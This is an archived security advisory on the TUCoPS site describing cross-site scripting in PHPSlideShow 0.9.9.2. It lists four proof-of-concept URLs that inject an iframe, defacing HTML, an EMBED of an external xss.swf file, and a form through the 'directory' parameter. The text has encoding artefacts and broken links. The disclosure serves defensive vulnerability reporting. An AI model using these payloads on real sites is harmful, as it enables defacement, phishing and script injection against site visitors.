TUCoPS :: Web :: PHP :: tb13609.htm

TUCoPS :: Web :: PHP :: tb13609.htm
PHPSlideShow XSS Update
PHPSlideShow XSS Update PHPSlideShow XSS Update

Vendor Site: http://www.zinkwazi.com/wp/scripts/=0D 
Version affected: 0.9.9.2=0D
URL:http://www.example.com/scripts/demo/phpslideshow.php?directory=photos=0D 
=0D
BID ref: 26576 By Jose Luis G=F3ngora Fern=E1ndez=0D
=0D
PHPSlideShow is also susceptible the following inputs:=0D
=0D
=0D">1.http://www.yoursite.com/scripts/demo/phpslideshow.php?directory="><iframe>=0D</a> 
=0D
<a href="http://www.yoursite.com/scripts/demo/phpslideshow.php?directory=<html><font">2.http://www.yoursite.com/scripts/demo/phpslideshow.php?directory=<html><font</a> color="Red"><b>Pwned</b></font></html>=0D 
=0D
<a href="http://www.yoursite.com/scripts/demo/phpslideshow.php?directory=<EMBED">3.http://www.yoursite.com/scripts/demo/phpslideshow.php?directory=<EMBED</a> <a href="http://site.com/xss.swf"=0D">SRC="http://site.com/xss.swf"=0D</a> 
=0D
<a href="http://www.yoursite.com/scripts/demo/phpslideshow.php?directory=FORM%20ACTION=%22search.php%22%20METHOD=%22GET%22%3E=0D">4.http://www.yoursite.com/scripts/demo/phpslideshow.php?directory=FORM%20ACTION=%22search.php%22%20METHOD=%22GET%22%3E=0D</a> 
=0D
Discovered by: Joshua Morin

</b></font></pre></tt></body></html>


<!-- google_ad_section_end -->
<p><center>

<p></center>
<center><a href="/firefox.htm">TUCoPS is optimized to look best in Firefox&reg; on a widescreen monitor (1440x900 or better).</a></center>
<font size=1><center>Site design & layout copyright &copy; 1986-2024 AOH</font>
</center>
<br><center><IMG SRC="http://artofhacking.com/cgi-bin/sc/sc.cgi?acct=tucops&font=payphone-med"></center>
<p>
</body>
</html>